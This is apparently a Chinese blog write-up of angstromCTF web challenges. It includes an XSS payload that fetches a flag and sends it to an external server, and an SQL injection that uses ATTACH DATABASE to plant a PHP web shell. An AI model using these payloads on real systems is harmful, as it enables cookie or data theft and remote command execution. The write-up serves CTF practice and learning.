angstromctf复现

crumbs

由源码可以看出,只要知道curr在何值时键值为flag就可以了。

import requests
import re
url = "https://crumbs.web.actf.co/"
req = requests.get(url)
result = req.text[6:]
for i in range(1000):
    req = requests.get(url+result)
    result = req.text[6:]
    print(str(i)+" :"+result)

Xtra Salty Sardines

题目直接标出了是xss。
在这里插入图片描述
且告诉我们只有admin bot才能访问Xtra Salty Sardines下的flag。
在这里插入图片描述
且源码提示我们过滤了这些字符,但只匹配一次,所以我们只要在我们的xss脚本前加上&"'<>就行了。
在这里插入图片描述
在Xtra Salty Sardines页面传入xss,拿到https://xtra-salty-sardines.web.actf.co/sardines/jaumwaerhb地址
在这里插入图片描述

&"'<><script>fetch("https://xtra-salty-sardines.web.actf.co/flag").then(res => res.text()).then(text => fetch("https://xxx.xxx.xxxx.xxx/?s=" + text));</script>

最后在admin bot页面提交地址,就可以触发xss,以admin bot访问xtra-salty-sardines下的flag,并发到我们的服务器上,这边我用的burp collaborator client接收的。

在这里插入图片描述
得到flag
在这里插入图片描述

Art Gallery

暂没成功。

No Flags

dockfile

FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

php


    <?php
        if (!isset($_SESSION["DBNAME"])) {
            $dbname = hash("sha256", (string) rand());
            $_SESSION["DBNAME"] = $dbname;
            $init = true;
        } else {
            $dbname = $_SESSION["DBNAME"];
            $init = false;
        }
        $pdo = new PDO("sqlite:/tmp/$dbname.db");
        if ($init) {
            $pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
        }
        if (isset($_POST["flag"])) {
            $flag = $_POST["flag"];
            $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
        }
        foreach ($pdo->query("SELECT * FROM Flags") as $row) {
            echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
        }
    ?>

从Dockfile中可以看出要运行printflag文件且给了我们/var/www/html/abyss的写入文件权限,那么我们就可以通过写入shell来执行printflag。

漏洞点在$pdo->exec("INSERT INTO Flags VALUES ('$flag');");

直接构造闭合然后创建我们的数据库即可。

'); ATTACH DATABASE '/var/www/html/abyss/succ3.php' AS succ3; CREATE TABLE succ3.pwn (dataz text); INSERT INTO succ3.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); -- succ3
');#闭合语句
ATTACH DATABASE '/var/www/html/abyss/succ3.php' AS succ3;#在succ3.php文件中创建一个数据库
CREATE TABLE succ3.pwn (dataz text);#创建一个表
INSERT INTO succ3.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>'); -- succ3#将shell写入我们创建的php中

在这里插入图片描述

参考:
wp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值